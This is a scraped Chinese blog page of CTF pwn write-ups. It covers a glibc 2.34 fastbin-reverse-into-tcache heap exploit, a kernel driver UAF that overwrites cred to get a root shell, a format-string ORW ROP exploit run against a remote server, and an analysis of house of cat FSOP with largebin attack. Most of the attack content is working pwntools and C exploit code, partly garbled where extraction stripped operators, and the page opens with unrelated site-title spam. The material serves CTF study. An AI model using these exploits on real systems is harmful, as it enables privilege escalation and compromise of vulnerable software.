当前位置: 首页 > news >正文

新乡集团网站建设网站建设 有限公司

新乡集团网站建设,网站建设 有限公司,青岛注册公司的流程,广州正规的免费建站fastbin_reverse_into_tcache(2.34) 本题所使用的libc版本为2.34#xff1b;#xff08;最新版 libc2.34版本已经没有了所谓的hook函数#xff0c;甚至exit_hook(实际为某个函数指针)也已经不能够使用#xff1b;能够利用的手法已经很少了#xff1b; 高版本glibc堆的几…fastbin_reverse_into_tcache(2.34) 本题所使用的libc版本为2.34最新版 libc2.34版本已经没有了所谓的hook函数甚至exit_hook(实际为某个函数指针)也已经不能够使用能够利用的手法已经很少了 高版本glibc堆的几种利用手法浅谈glibc新版本保护机制以及绕过house of banana推荐看看glibc2.23分析house of banana 可以看到Free释放函数总共可以使用11次而Allocate申请函数可以使用0x2e次 如果按照fastbin_reverse_into_tcache的节奏来说那么布局是如何的呢? 首先申请多块内容(19块以上)然后按释放次数来说7次释放填充tcache然后3次造成fastbin的double free然后利用申请将tcache置空再次申请的时候则fastbin将倒置入tcache之中此时我们可以往已知地址上达成一次任意写但是libc地址未知故我们需要修改heap上的size域进而再利用一次释放得到unsorted bin来泄露libc地址此时我们就再也无法利用Free函数了而且任意地址写也利用完了。那么接下来怎么办这里卡了很久我在思考怎么减少Free函数的使用次数并达到相同的操作呢 第一版exp:仅仅泄露了libc、heap地址无法继续下一步 from pwn import * context(log_leveldebug,oslinux,archamd64)binary ./pwn r process(binary) elf ELF(binary,checksecFalse) libc elf.libcdef Allocate(index,payloadb/bin/sh\x00):r.sendlineafter(: ,1)r.sendlineafter(Index: ,str(index))r.sendlineafter(Content: ,payload)def Free(index):r.sendlineafter(: ,2)r.sendlineafter(Index: ,str(index))def Show(index):r.sendlineafter(: ,3)r.sendlineafter(Index: ,str(index))r.recvuntil(Content: )return r.recvuntil(\n)[:-1]start lambda : r.sendlineafter(notebook will be? :,str(0x2d)) Exit lambda : r.sendlineafter(: ,4)start() #Allocate(0,ba*0x10p64(0)p64(0x461)) for i in range(0,19):Allocate(i) for i in range(9):Free(i) ptr u64(Show(0).ljust(8,b\x00)) next u64(Show(1).ljust(8,b\x00)) heap_addr (next ^ ptr) - 0x410Free(7)#fastbin double freefor i in range(4):Allocate(19 i)Allocate( 23,p64((heap_addr12)^(heap_addr0x4b0))p64(0)p64(0)p64(0x41) ) Allocate( 24,ba*0x10p64(0)p64(0x41)p64((heap_addr12)^(heap_addr0x490)) ) Allocate( 25,bb*0x10p64(0)p64(0x41)p64((heap_addr12)^(heap_addr0x470)) ) Allocate( 26,p64((heap_addr12)^(heap_addr0x430)) )Allocate(27) Allocate(28) Allocate(29,bc*0x10p64(0)p64(0x441)) Free(1) libc_base u64(Show(1).ljust(8,b\x00)) - 0x218CC0Allocate( 30,bd*0x10p64(0)p64(0x41)p64((heap_addr12)^(heap_addr0x470)) ) success(heap_addr - hex(heap_addr)) success(libc_base - hex(libc_base)) gdb.attach(r) Exit()r.interactive()在思考许久之后终于发现了一种方法首先7次释放填充tcache1次释放填充fastbin接下来就精彩了我们申请1块tcache此时bins之中存在6块tcache、1块fastbin那么我们再次释放掉这1块fastbin这1块fastbin将会填充到tcache之中而不会接受任何的检测同时我们在接下来申请7块的内容之中布置好fastbin的fd指针那么利用fastbin_reverse_into_tcache将会得到新的一个已布置好的倒置的fastbin链(tcache链)利用这个链条我们可以满足释放unsorted bin的同时并且获取到了任意地址写 这里我采用了house of banana我并不知道是否使用于libc2.34但是2.31应该是使用的不过查阅资料应该是可以的 这里伪造好了link_map但是没有获取权限而我想调试深入分析exit函数但是没有符号表而我的glibc-all-in-one下载不了最新版本的libc导致我需要去自行编译libc很麻烦 第二版exp: from pwn import * context(log_leveldebug,oslinux,archamd64)binary ./pwn r process(binary) elf ELF(binary,checksecFalse) libc elf.libcdef Allocate(index,payloadp32(0x9)*8):r.sendlineafter(: ,1)r.sendlineafter(Index: ,str(index))r.sendafter(Content: ,payload)def Free(index):r.sendlineafter(: ,2)r.sendlineafter(Index: ,str(index))def Show(index):r.sendlineafter(: ,3)r.sendlineafter(Index: ,str(index))r.recvuntil(Content: )return r.recvuntil(\n)[:-1]start lambda : r.sendlineafter(notebook will be? :,str(0x2d)) Exit lambda : r.sendlineafter(: ,4) one [0xeeccc,0xeeccf,0xeecd2]start() #Allocate(0,ba*0x10p64(0)p64(0x461)) for i in range(0,19):Allocate(i) for i in range(8):Free(i) ptr u64(Show(0).ljust(8,b\x00)) next u64(Show(1).ljust(8,b\x00)) heap_addr (next ^ ptr) - 0x410Allocate(19)# tcache_count 6 Free(7)# double free fasbin[0] tcache[0]Allocate( 21,p64((heap_addr12)^(heap_addr0x500)) )# fastbin[0] Allocate( 22,p64((heap_addr12)^(heap_addr0x500)) ) Allocate( 23,p64((heap_addr12)^(heap_addr0x4c0)) ) Allocate( 24,p64((heap_addr12)^(heap_addr0x4a0)) ) Allocate( 25,p64((heap_addr12)^(heap_addr0x440))p64(0)*2p64(0x41)p64((heap_addr12)^(heap_addr0x480)) ) Allocate( 26,p64((heap_addr12)^(heap_addr0x400)) ) Allocate( 27,p64((heap_addr12)^(heap_addr0x420))p64(0)*2p64(0x41)p64(ptr) )# unsortedbin.size伪造Allocate( 28 )# fastbin reverse into tcache Allocate( 29,p64(0)*3p64(0x441) ) Allocate( 30,p64(0)*5p64(heap_addr0x410) )# *(fake0x28)fake Allocate( 31 )# *(fake0x48)fake0x58, *(fake0x50)0x8, *(fake0x58)shell Free(1) libc_base u64(Show(1).ljust(8,b\x00))-0x218CC0 target libc_base 0x228010 - 0x10Allocate( 32 ) Allocate( 33,p64(0)*3p64(0x41)p64((heap_addr12)^target) ) Allocate( 34 ) Allocate( 35,p64(libc_base)p64(libc_base0x260FC0)p64(libc_base0x217BC0)p64(heap_addr0x450)p64(libc_base0x2607D0)p64(libc_base0x228000) )Allocate( 36,p64(0)*5p64(heap_addr0x450) )# *(fake0x28)fake Allocate( 37,p64(0)p64(heap_addr0x4a8)p64(0x8)p64(libc_baseone[0]) )# *(fake0x48)fake0x58, *(fake0x50)0x8, *(fake0x58)shell Allocate( 38 ) Allocate( 39 ) Allocate( 40,p64(0)*2p64(heap_addr0x490)p64(0)p64(heap_addr0x498) ) success(heap_addr - hex(heap_addr)) success(libc_base - hex(libc_base)) success(hex(target)) success(hex(libc_baseone[0])) #gdb.attach(r) Exit()r.interactive()kernel pwn1(xm) 该题目是个kernel改自baby driver[2017UAF]原题就曾使用了fork函数开启进程修改cred结构体uid以及euid为0从而提权但是本题却也可以使用这种方法来提权(wp) 如下为start.sh文件内容这里我修改了-m 64M为-m 256M如果内存给予64M大小可能导致运行缓慢甚至无法运行故我们给予其较大内存一般来说256M大小足以。并且添加了参数-s该参数为调试参数端口默认为1234此时我们便可以使用gdb远程连接1234端口进行调试 #!/bin/shqemu-system-x86_64 \ -m 256M \ -cpu kvm64,smep,smap \ -s \ -kernel ./bzImage \ -initrd rootfs.img \ -nographic \ -append consolettyS0 nokaslr quietcpio -idv ./rootfs.img使用该命令可以将磁盘文件解压同时可以发现其中的init文件init文件即为内核启动后第一件要做的事情如下可以发现insmod /test1.ko该命令使用LKM(Loadable Kernel Modules)其实可以理解为加载内核modmod就类似于打印机一般的外部设备加载test1.ko故该附件即为我们要分析的内容。 #!/bin/shmkdir /tmp mount -t proc none /proc mount -t sysfs none /sys mount -t debugfs none /sys/kernel/debug mount -t devtmpfs devtmpfs /dev mount -t tmpfs none /tmp mdev -s echo -e Boot took $(cut -d -f1 /proc/uptime) secondsinsmod /test1.ko chmod 666 /dev/test1 poweroff -d 120 -f setsid /bin/cttyhack setuidgid pwn /bin/sh poweroff -d 0 -f首先分析函数:test1.ko文件分析 驱动程序的入口函数为init函数结束函数为exit函数如上所示即为初始化函数其实一般情况下如下三个函数便完成了对一个简单的dev设备的注册申请等操作test1_major是设备号test1_cdev设备的结构体test1_fops设备的文件操作函数也就是open、read、write等对于该设备的函数 (*(__int64 (__fastcall **)(dev_t *, _QWORD, __int64, const char *))alloc_chrdev_region.gap0)(// 向内核申请设备号test1_major, // 向内核申请下来的设备号0LL, // 次设备号的起始1LL, // 申请设备号的个数test1) cdev_init(test1_cdev, test1_fops); //可以理解为test1_cdev与test1_fops捆在了一起 cdev_add(test1_cdev, dev_Num, 1LL); //可以理解为再将dev_Num和test1_cdev捆在了一起而漏洞位于open函数: 这里比较难以理解我们位于用户态打开open(“/dev/test1”);设备那么位于内核态之中设备的信息储存在root_buffer全局变量之中那么我们在此位于用户态指向open(“/dev/test1”);操作那么root_buffer全局变量将储存着我们第二次open的信息第一次open丢失了这不就像用户态上的UAF吗不过该UAF较难理解 如下我们再结合write函数进行查看如果我们写入内容大于32则执行_kmalloc(写入大小, 0x24000C0LL);操作此时我们相当于有了申请任意大小内核空间的一个函数啦 此时假如我们申请了一个有0xa8(cred结构体大小的chunk)并且释放掉该结构体利用fork函数新建进程申请cred结构体时造成UAF进而修改uid等数值为0从而完成提权的操作编译exp需要静态编译因为动态链接大概率因为环境问题而无法运行 // gcc -s exp.c -o exp gzip exp#include stdio.h #include stdlib.h #include string.h #include unistd.h #include fcntl.h #include sys/wait.hint main() {int fd1, fd2, pid;char buf[0x100];memset(buf, a, 0x100);fd1 open(/dev/test1, O_RDWR);fd2 open(/dev/test1, O_RDWR);write(fd1, buf, 0xa8);read(fd1, buf, 0xa8);close(fd1);pid fork();if(!pid){memset(buf, 0, 0x100);write(fd2, buf, 0x1c);if(getuid() 0){system(/bin/sh);}else{puts(Failed!);}}else{wait(NULL);}return 0; }调试: Boot took 1.38 seconds / $ cat /proc/kallsyms | grep test1 ffffffffc00008a0 b __key.25704 [test1] ffffffffc0000070 t test1_read [test1] ffffffffc00004c0 d __this_module [test1] ffffffffc00002d0 t cleanup_module [test1] ffffffffc0000890 b used [test1] ffffffffc000088c b length [test1] ffffffffc00001a0 t init_module [test1] ffffffffc0000000 t test1_open [test1] ffffffffc0000800 b test1_class [test1] ffffffffc00002d0 t test1_exit [test1] ffffffffc0000888 b test1_major [test1] ffffffffc0000820 b test1_cdev [test1] ffffffffc00001a0 t test1_init [test1] ffffffffc00000f0 t test1_write [test1] ffffffffc00003e0 d test1_fops [test1] ffffffffc0000040 t test1_release [test1] ffffffffc0000898 b test1_buffer [test1] / $ lsmod test1 2835 0 - Live 0xffffffffc0000000 (OE) / $ 可以利用如上所示找到驱动的地址 然后便可以利用gdb进行调试这里建议内核调试使用gef来进行调试 参考链接: 内核API babyfmt(xm) 该题常规格式化字符串漏洞难度不大但是过程复杂(因为调试的头都大了) char format[136]; // [rsp0h] [rbp-90h] BYREF unsigned __int64 v2; // [rsp88h] [rbp-8h]v2 __readfsqword(0x28u); Read((unsigned __int8 *)format, 0x80); printf(format); // 格式化字符串漏洞 putchar(10); return __readfsqword(0x28u) ^ v2;没有溢出但是存在格式化字符串而且仅仅可输入0x80大小并且PIE等保护全开并且开启了沙盒保护 这导致我们需要很多次泄露并且ROP布局栈时需要不只一次输入总结来说难度位于第一次输入应该如何泄露地址并且重新返回main函数通过查看stack的情况可以发现rsp8地址处存在着指向rbp指针(Glibc2.31)这意味着我们第一次输入只能输入8字节1字节爆破经过不断思考发现b’%p%7$hhn’b’\x18’存在着1/16概率爆破重新返回该函数注意不能返回main函数因为prctl函数以及setvbuf无法通过 后来发现附件Glibc为2.27修改后就无需上面这种技巧了因为此时rsp0x10地址处存在着指向rbp指针多出8字节便宽限了很多不过位于Glibc2.31可以依靠上面的payload来通过(并且可以泄露出栈地址) payload1有了那么以后的payload可以逐步泄露出libc地址、code地址等然后布局ROP获得一次超大的写入操作然后一次性布置完栈进而完成orwopen不能返回与Glibc[‘open’]因为该open没有采用sys_number2的open而是__NR_openat 257需要找到Glibc中的syscall指令手动进入sys_open之中 如下为第一版exp我直接布置栈太复杂了故后来换成了利用ret2csu来完成减少了复杂度 def pwn(over b\x18):#r process(binary)# b%p%7$hhnb\x18修改__libc_start_main函数,但是prctl函数以及setvbuf无法通过payload1 b%x%8$hhnba*8over # 修改main函数子函数sleep(0.3)r.send(payload1)stack_addr u64(r.recvuntil(b\x7f)[-6:].ljust(8,b\x00))payload2 b%7c%10$hhn%137c%11$hhn%29$p%25$pp64(stack_addr0x30)p64(stack_addr0x10)sleep(0.3)r.send(payload2)r.recvuntil(b0x)code_addr int(r.recv(12),16)-0xB6Ar.recvuntil(b0x)libc_base int(r.recv(12),16)-0x21B97#formatpayload3 b%144c%20$hhnccccpayload3 fmtstr_payload(8,{stack_addr0x20:pop_rsi_r15_retcode_addr},numbwritten0x94,write_sizebyte)p64(stack_addr0x10)sleep(0.3)r.send(payload3.ljust(0x80,b\x00))# pop_rsi_r15_retcode_addrpayload4 b%144c%17$hhncccc#stack_addr0x38:0payload4 fmtstr_payload(8,{stack_addr0x18:0,stack_addr0x28:0},numbwritten0x94,write_sizebyte)p64(stack_addr0x10)sleep(0.3)r.send(payload4.ljust(0x80,b\x00))# 0 0payload5 b%144c%16$hhnccccpayload5 fmtstr_payload(8,{stack_addr0x38:pop_rdx_retlibc_base},numbwritten0x94,write_sizeshort)p64(stack_addr0x10)sleep(0.5)r.send(payload5.ljust(0x80,b\x00))# pop_rdx_retpayload6 b%144c%16$hhnccccpayload6 fmtstr_payload(8,{stack_addr0x48:pop_rax_retlibc_base},numbwritten0x94,write_sizeshort)p64(stack_addr0x10)sleep(0.5)r.send(payload6.ljust(0x80,b\x00))# pop_rax_retpayload7 b%144c%16$hhnccccpayload7 fmtstr_payload(8,{stack_addr0x40:0x300,stack_addr0x50:0},numbwritten0x94,write_sizeshort)p64(stack_addr0x10)sleep(0.5)r.send(payload7.ljust(0x80,b\x00))# 0 0gdb.attach(r,b *0x555555400b35)#payload8 b%144c%16$hhnccccpayload8 fmtstr_payload(6,{stack_addr0x10:pop_rdi_ret,stack_addr0x58:read_plt},write_sizebyte)sleep(0.5)r.send(payload8.ljust(0x80,b\x00))success(stack_addr - hex(stack_addr))success(code_addr - hex(code_addr))success(libc_base - hex(libc_base))首先我位于地址随机化关闭的情况下本地测试通过后开始地址随机化开始本地爆破测试最后开始对比本地Glibc与远程Glibc所不一样的地址情况进行修改最终远程测试通过这步因为无法远程调试所以需要特别细心小心查看地址的不通往往一个地址情况不同则远程将失败 from pwn import * context(oslinux,archamd64) #context.log_level debugbinary ./babyfmt #r process(binary) elf ELF(binary) #libc elf.libc libc ELF(./libc-2.27.so)read_got elf.got[read] pop_rdi_ret 0x0000000000000bf3 pop_rsi_r15_ret 0x000000000bf1 pop_rdx_ret 0x0000000000001b96#0x0000000000001b96#Glibc pop_rax_ret 0x000000000001b500#0x00000000000439c8#Glibc push_rax_ret 0x000000000001b4d0#0x000000000003dfed#Glibc syscall 0x0E41F5#0x0E4545#Glibc LINUX - sys_uname one1 0x0BEA one2 0x0BD0 def pwn(over b\x18):#r process(binary)# b%p%7$hhnb\x18修改__libc_start_main函数,但是prctl函数以及setvbuf无法通过payload1 b%x%8$hhnba*8over # 修改main函数子函数sleep(0.3)r.send(payload1)stack_addr u64(r.recvuntil(b\x7f)[-6:].ljust(8,b\x00))payload2 b%7c%10$hhn%121c%11$hhn%29$p%25$pp64(stack_addr0x30)p64(stack_addr0x10)sleep(0.3)try:r.send(payload2)r.recvuntil(b0x)code_addr int(r.recv(12),16)-0xB6Ar.recvuntil(b0x)libc_base int(r.recv(12),16)-0x021C87#-0x21B97except:return 0 #formatpayload3 b%128c%18$hhnccccpayload3 fmtstr_payload(8,{stack_addr0x18:0,stack_addr0x20:1},numbwritten0x84,write_sizebyte)p64(stack_addr0x10)sleep(0.3)r.send(payload3.ljust(0x80,b\x00))# rbx rbppayload4 b%128c%16$hhnccccpayload4 fmtstr_payload(8,{stack_addr0x28:read_gotcode_addr},numbwritten0x84,write_sizeshort)p64(stack_addr0x10)sleep(0.3)r.send(payload4.ljust(0x80,b\x00))# r12 - callpayload5 b%128c%16$hhnccccpayload5 fmtstr_payload(8,{stack_addr0x38:stack_addr0x50},numbwritten0x84,write_sizeshort)p64(stack_addr0x10)sleep(0.3)r.send(payload5.ljust(0x80,b\x00))# r14 - rsipayload6 b%128c%19$hhnccccpayload6 fmtstr_payload(8,{stack_addr0x48:code_addrone2,stack_addr0x40:0x300},numbwritten0x84,write_sizeshort)p64(stack_addr0x10)sleep(0.3)r.send(payload6.ljust(0x80,b\x00))# onegadget - ret#gdb.attach(r)payload7 b%15$llndpayload7 fmtstr_payload(7,{stack_addr0x10:code_addrone1},numbwritten1,write_sizeshort,strategysmall)p64(stack_addr0x30)sleep(0.3)r.send(payload7.ljust(0x80,b\x00))# retpayload8 be*8flat({0x30: pop_rdi_retcode_addr ,0x38: stack_addr0x158 ,0x40: pop_rsi_r15_retcode_addr ,0x48: 0 ,0x50: 0 ,0x58: pop_rax_retlibc_base ,0x60: 2 ,0x68: syscalllibc_base ,#open0x70: pop_rdi_retcode_addr ,0x78: 3 , #rdi0x80: pop_rsi_r15_retcode_addr ,0x88: code_addr0x0202020 , #rsi0x90: 0 , 0x98: pop_rdx_retlibc_base ,0xa0: 0x70 , #rdx0xa8: libc.symbols[read]libc_base ,0xb0: pop_rdi_retcode_addr ,0xb8: 1 ,0xc0: libc.symbols[write]libc_base ,0xc8: 0 ,0x100:./flag\x00})sleep(0.3)r.send(payload8)success(stack_addr - hex(stack_addr))success(code_addr - hex(code_addr))success(libc_base - hex(libc_base))flag r.recvuntil(b})info( flag: str(flag))pause()return 1offset 6 #gdb.attach(r,b *0x555555400b35) #pwn()flag True while(flag):#r process(binary)r remote(106.54.163.94, 20004)try:#gdb.attach(r)if( pwn(b\xb8) ):flag Falseexcept:r.close()效果如下: XMctf{b4ac9dde-0b50-11ed-b333-52540042cee3} House of cat(强网杯2022) 位于/malloc/malloc.c之中可以发现__malloc_assert的定义并且__assert_fail等同于__malloc_assert: # define __assert_fail(assertion, file, line, function) \__malloc_assert(assertion, file, line, function)extern const char *__progname;static void __malloc_assert (const char *assertion, const char *file, unsigned int line,const char *function) {(void) __fxprintf (NULL, %s%s%s:%u: %s%sAssertion %s failed.\n,__progname, __progname[0] ? : : ,file, line,function ? function : , function ? : : ,assertion);fflush (stderr);abort (); }而位于/assert/assert.h之中可以发现assert调用了__assert_fail函数该函数的功能是当断言失败的时候程序将会执行__assert_fail函数而位于/malloc/malloc.c宏定义了__assert_fail为__malloc_assert函数故位于malloc之中的断言错误将会执行__malloc_assert函数 # define assert(expr) \(static_cast bool (expr) \? void (0) \: __assert_fail (#expr, __FILE__, __LINE__, __ASSERT_FUNCTION))回到__malloc_assert函数之中可以发现还存在着一个IO流函数__fxprintf #define _IO_SYNC(FP) JUMP0 (__sync, FP)#define JUMP0(FUNC, THIS) (_IO_JUMPS_FUNC(THIS)-FUNC) (THIS)# define _IO_JUMPS_FUNC(THIS) \(IO_validate_vtable \(*(struct _IO_jump_t **) ((void *) _IO_JUMPS_FILE_plus (THIS) \ (THIS)-_vtable_offset)))此时我们便分析一下IO流函数__fxprintf int __fxprintf (FILE *fp, const char *fmt, ...) {略...int res __vfxprintf (fp, fmt, ap, 0);略... }int __vfxprintf (FILE *fp, const char *fmt, va_list ap,unsigned int mode_flags) {略...int res locked_vfxprintf (fp, fmt, ap, mode_flags);略... }static int locked_vfxprintf (FILE *fp, const char *fmt, va_list ap,unsigned int mode_flags) {if (_IO_fwide (fp, 0) 0)return __vfprintf_internal (fp, fmt, ap, mode_flags);略... }故我们着重分析一下__vfprintf_internal函数实际上存在着隐藏着的定义vfprintf函数: # define vfprintf __vfprintf_internal 采用了这种方法进行隐藏函数具体实现需要通过搜索字符来判断真正函数实现位置 int vfprintf (FILE *s, const CHAR_T *format, va_list ap, unsigned int mode_flags) {略... } 汇编如下(关键位置0x7f47b602c1bd mov rsi, qword ptr [rsp 8]0x7f47b602c1c2 mov rdx, rbx0x7f47b602c1c5 mov rdi, rbp► 0x7f47b602c1c8 call qword ptr [r12 0x38] _IO_wfile_seekoffrdi: 0x5574e203fb00 ◂— 0x0rsi: 0x7f47b6195208 ◂— %s%s%s:%u: %s%sAssertion %s failed.\nrdx: 0x0rcx: 0x7f47b61cca00 ◂— 0x0 寄存器r12之中储存着_IO_FILE_plus.vtable指针根据该指针偏移0x38同样我们可以修改vtable指针偏移那么将可以进入到vtable指针所指虚表之中所有的call地址 修改vtable指针0x10此时将会进入到_IO_wfile_seekoff之中不过对于vtable指针存在着检查 static inline const struct _IO_jump_t * IO_validate_vtable (const struct _IO_jump_t *vtable) {/* Fast path: The vtable pointer is within the __libc_IO_vtablessection. */uintptr_t section_length __stop___libc_IO_vtables - __start___libc_IO_vtables;uintptr_t ptr (uintptr_t) vtable;uintptr_t offset ptr - (uintptr_t) __start___libc_IO_vtables;if (__glibc_unlikely (offset section_length))/* The vtable pointer is not in the expected section. Use theslow path, which will terminate the process if necessary. */_IO_vtable_check ();return vtable; } 翻译成汇编部分:0x7fb58eded180 mov r12, qword ptr [rbp 0xd8]0x7fb58eded187 lea rax, [rip 0x1a15da]0x7fb58eded18e mov rbx, qword ptr [rsp 0x68]0x7fb58eded193 lea rcx, [rip 0x1a0866]0x7fb58eded19a sub rax, qword ptr [rip 0x1a2677]0x7fb58eded1a1 sub rbx, qword ptr [rsp 8]0x7fb58eded1a6 mov qword ptr [rsp 0x30], rax0x7fb58eded1ab mov rdi, rax0x7fb58eded1ae mov rax, r120x7fb58eded1b1 sub rax, rcx0x7fb58eded1b4 cmp rdi, rax► 0x7fb58eded1b7 jbe 0x7fb58edeea50 0x7fb58edeea50同样的寄存器r12之中储存着vtable指针经过一定运算cmp rdi, rax最后进行比较跳转此时我们查看_IO_wfile_seekoff函数并进入_IO_switch_to_wget_mode函数之中查看: off64_t _IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode) {if (mode 0)//mode不能为0否则将进入do_ftell_wide (fp)函数return do_ftell_wide (fp);int must_be_exact ((fp-_wide_data-_IO_read_base fp-_wide_data-_IO_read_end) (fp-_wide_data-_IO_write_base fp-_wide_data-_IO_write_ptr));bool was_writing ((fp-_wide_data-_IO_write_ptr fp-_wide_data-_IO_write_base)|| _IO_in_put_mode (fp));//需要fp-_wide_data-_IO_write_ptr fp-_wide_data-_IO_write_baseif (was_writing _IO_switch_to_wget_mode (fp))//was_writing 为1则会执行_IO_switch_to_wget_mode (fp)函数return WEOF;略... } 此时将进入如下函数 int _IO_switch_to_wget_mode (FILE *fp) {if (fp-_wide_data-_IO_write_ptr fp-_wide_data-_IO_write_base)if ((wint_t)_IO_WOVERFLOW (fp, WEOF) WEOF)return EOF;略... } libc_hidden_def (_IO_switch_to_wget_mode) 而_IO_WOVERFLOW则为宏定义此时我们可以执行WJUMP1 (__overflow, FP, CH) #define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH) #define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)-FUNC) (THIS, X1) #define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)#define _IO_WIDE_JUMPS(THIS) \_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)-_wide_vtable#define _IO_CAST_FIELD_ACCESS(THIS, TYPE, MEMBER) \(*(_IO_MEMBER_TYPE (TYPE, MEMBER) *)(((char *) (THIS)) \ offsetof(TYPE, MEMBER)))#define _IO_MEMBER_TYPE(TYPE, MEMBER) __typeof__ (((TYPE){}).MEMBER) 这么多宏定义实际上是个call指令进入虚表而已 最终执行0x7fb58edfbd30 _IO_switch_to_wget_mode endbr640x7fb58edfbd34 _IO_switch_to_wget_mode4 mov rax, qword ptr [rdi 0xa0] //rax取_wide_data指针0x7fb58edfbd3b _IO_switch_to_wget_mode11 push rbx //push 00x7fb58edfbd3c _IO_switch_to_wget_mode12 mov rbx, rdi //rbx取fake_io_file0x7fb58edfbd3f _IO_switch_to_wget_mode15 mov rdx, qword ptr [rax 0x20] //rdx取_wide_data-IO_write_ptr 0x7fb58edfbd43 _IO_switch_to_wget_mode19 cmp rdx, qword ptr [rax 0x18] //cmp _wide_data-_IO_write_base0x7fb58edfbd47 _IO_switch_to_wget_mode23 jbe _IO_switch_to_wget_mode56 _IO_switch_to_wget_mode560x7fb58edfbd49 _IO_switch_to_wget_mode25 mov rax, qword ptr [rax 0xe0] //rax取_wide_data指针偏移0xe00x7fb58edfbd50 _IO_switch_to_wget_mode32 mov esi, 0xffffffff► 0x7fb58edfbd55 _IO_switch_to_wget_mode37 call qword ptr [rax 0x18] //call下面是_IO_FILE_plus结构体的定义等 struct _IO_FILE {int _flags; /* High-order word is _IO_MAGIC; rest is flags. *//* The following pointers correspond to the C streambuf protocol. */char *_IO_read_ptr; /* Current read pointer */char *_IO_read_end; /* End of get area. */char *_IO_read_base; /* Start of putbackget area. */char *_IO_write_base; /* Start of put area. */char *_IO_write_ptr; /* Current put pointer. */char *_IO_write_end; /* End of put area. */char *_IO_buf_base; /* Start of reserve area. */char *_IO_buf_end; /* End of reserve area. *//* The following fields are used to support backing up and undo. */char *_IO_save_base; /* Pointer to start of non-current get area. */char *_IO_backup_base; /* Pointer to first valid character of backup area */char *_IO_save_end; /* Pointer to end of non-current get area. */struct _IO_marker *_markers;//0x60struct _IO_FILE *_chain;//0x68int _fileno;int _flags2;//0x70__off_t _old_offset; /* This used to be _offset but its too small. */ //0x78/* 1column number of pbase(); 0 is unknown. */unsigned short _cur_column;//0x80signed char _vtable_offset;char _shortbuf[1];//0x84_IO_lock_t *_lock;//0x88 #ifdef _IO_USE_OLD_IO_FILE }; 结构体_IO_FILE_complete进入_IO_wfile_seekoff函数将采用该结构体 struct _IO_FILE_complete {struct _IO_FILE _file;//0x88 #endif__off64_t _offset;//0x90/* Wide character stream stuff. */struct _IO_codecvt *_codecvt;//0x98struct _IO_wide_data *_wide_data;//0xa0struct _IO_FILE *_freeres_list;//0xa8void *_freeres_buf;//0xb0size_t __pad5;//0xb8int _mode;//0xc0/* Make sure we dont get into trouble again. */char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];//0xc8 };//0xd8整理得: 条件 (S)-_flags _IO_UNBUFFERED 0即(S)-_flags 2 0 //该处无需刻意注意一般此时该位置都为0 fake_io_file0x90 _wide_data(指针) //这里我们假设指向fake_io_file0x30位置 mode ! 0 fp-_wide_data-_IO_write_ptr fp-_wide_data-_IO_write_basefp即是我们伪造的fake_io_file //那么这条语句则为 fake_io_file0x50 fake_io_file0x48 fp-_lock是一个可写地址 //要经过宏定义_IO_lock_lock的处理需要作为指针并写入值操作 如下为布局: 0x556d2583bb00: 0x0000000000000000 0x0000000000000421 //fake_io_file 0x556d2583bb10: 0x0000000000000000 0x0000000000000000 0x556d2583bb20: 0x0000000000000000 0x0000000000000000 0x556d2583bb30: 0x0000000000000000 0x0000000000000000 //_wide_data结构体 0x556d2583bb40: 0x0000000000000001 0x0000000000000000 //_IO_read_base _IO_write_base 0x556d2583bb50: 0x0000556d2583bbb0 0x00007fbfae469a6d //_IO_write_ptr call_addr 0x556d2583bb60: 0x0000000000000000 0x0000000000000000 // _chain 0x556d2583bb70: 0x0000000000000000 0x0000000000000000 0x556d2583bb80: 0x0000000000000000 0x0000556d2583c000 // _lock 0x556d2583bb90: 0x0000000000000000 0x0000000000000000 0x556d2583bba0: 0x0000556d2583bb30 0x0000000000000000 //_wide_data指针 0x556d2583bbb0: 0x0000000000000000 0x0000000000000000 0x556d2583bbc0: 0x0000000000000000 0x0000000000000000 //_mode 0x556d2583bbd0: 0x0000000000000000 0x00007fbfae62c0d0 // vtable 0x556d2583bbe0: 0x0000000000000000 0x0000000000000000 0x556d2583bbf0: 0x0000000000000000 0x0000000000000000 0x556d2583bc00: 0x0000000000000000 0x0000000000000000 0x556d2583bc10: 0x0000556d2583bb40 0x0000556d2583c7d0 //rax(跳板) flag_addr(rdi) 0x556d2583bc20: 0x0000000000000000 0x0000000000000000 0x556d2583bc30: 0x0000000000000000 0x0000000000000000 0x556d2583bc40: 0x0000000000000000 0x0000000000000000 0x556d2583bc50: 0x0000556d2583d050 0x00007fbfae43fcd6 //rsp(rop) ret(ret_addr) 0x556d2583bc60: 0x0000000000000000 0x0000000000000000Largebin attack攻击(高版本): else{victim_index largebin_index (size);bck bin_at (av, victim_index);//bck libc_addrfwd bck-fd;//fwd largebin/* maintain large bins in sorted order */if (fwd ! bck){略...if ((unsigned long) (size) (unsigned long) chunksize_nomask (bck-bk)){fwd bck;//fwd libc_addrbck bck-bk;//bck largebinvictim-fd_nextsize fwd-fd;//chunk0x10 largebinvictim-bk_nextsize fwd-fd-bk_nextsize;//heap_addr0x18 target_addr(largebin0x18)fwd-fd-bk_nextsize victim-bk_nextsize-fd_nextsize victim;//largebin-bk_nextsize target_addr-fd_nextsize heap_addr}else{略...}}略...}mark_bin (av, victim_index);victim-bk bck;victim-fd fwd;fwd-bk victim;bck-fd victim;exp如下:参考了wp的方式 from pwn import * context(log_leveldebug,oslinux,archamd64)binary ./house_of_cat r process(binary) elf ELF(binary) libc elf.libclogin lambda : r.sendafter(mew~~~~~~\n,bLOGIN | r00t QWBQWXF admin) cat lambda : r.sendafter(mew~~~~~~\n,bCAT | r00t QWBQWXF $\xff) def add(index,size0x418,payloadb/bin/sh\x00):cat()r.sendlineafter(cat choice:\n,1)r.sendlineafter(cat idx:\n,str(index))r.sendlineafter(cat size:\n,str(size))r.sendafter(content:\n,payload)def delete(index):cat()r.sendlineafter(cat choice:\n,2)r.sendlineafter(cat idx:\n,str(index))def show(index):cat()r.sendlineafter(cat choice:\n,3)r.sendlineafter(cat idx:\n,str(index))def edit(index,payload):cat()r.sendlineafter(cat choice:\n,4)r.sendlineafter(cat idx:\n,str(index))r.sendlineafter(content:\n,payload)def pwndbg():gdb.attach(r)pause()login() 